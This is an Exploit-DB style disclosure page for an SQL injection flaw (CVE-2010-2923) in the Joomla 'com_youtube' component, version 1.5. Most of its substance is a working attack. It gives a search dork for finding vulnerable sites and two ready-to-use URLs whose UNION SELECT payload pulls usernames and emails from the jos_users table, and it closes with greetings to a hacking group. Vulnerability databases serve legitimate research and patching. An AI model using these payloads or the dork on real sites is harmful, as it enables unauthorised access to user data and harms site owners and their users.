ad

Joomla Component (com_youtube) SQL Injection Vulnerability



EDB-ID: 14467 CVE: 2010-2923 OSVDB-ID: 66817
Author: Forza-Dz Published: 2010-07-24 Verified: Not Verified
Exploit Code:   Download Vulnerable App:   N/A

Rating

(0.0)
Prev Home Next
# Exploit Title: Joomla "com_youtube"  Sql Injection Vulnerability
# Date: 2010-07-24

# Author: Forza-Dz

# Software Link: http://extensions.joomla.org/extensions/multimedia/
multimedia-channels/video-channels/12037
# Version: 1.5
# Tested on: windows-xp-sp2-fr : windows-xp-sp3-fr


============================================================================== 
\\\\\\\\\\ Joomla "com_youtube" Sql Injection Vulnerability ///////// 
============================================================================== 
  
***************************************************************************
*************************************************************************** 
Dork = inurl:"com_youtube"
########################################################################### 
 ===[ Exploit ]===
http://www.site.com/index.php?option=com_youtube&id_cate=4 

union+select+1,concat(username,0x3a,email),3,4,5,6,7,8+from+jos_users--
or
http://www.site.com/index.php?option=com_youtube&id_cate=55
union+select+1,concat(username,0x3a,email),3,4,5,6,7,8+from+jos_users--
########################################################################### 
Greetz @ Flit0x-Dz AnD MCA-CRB All "DZ" "MusliM"           
###########################################################################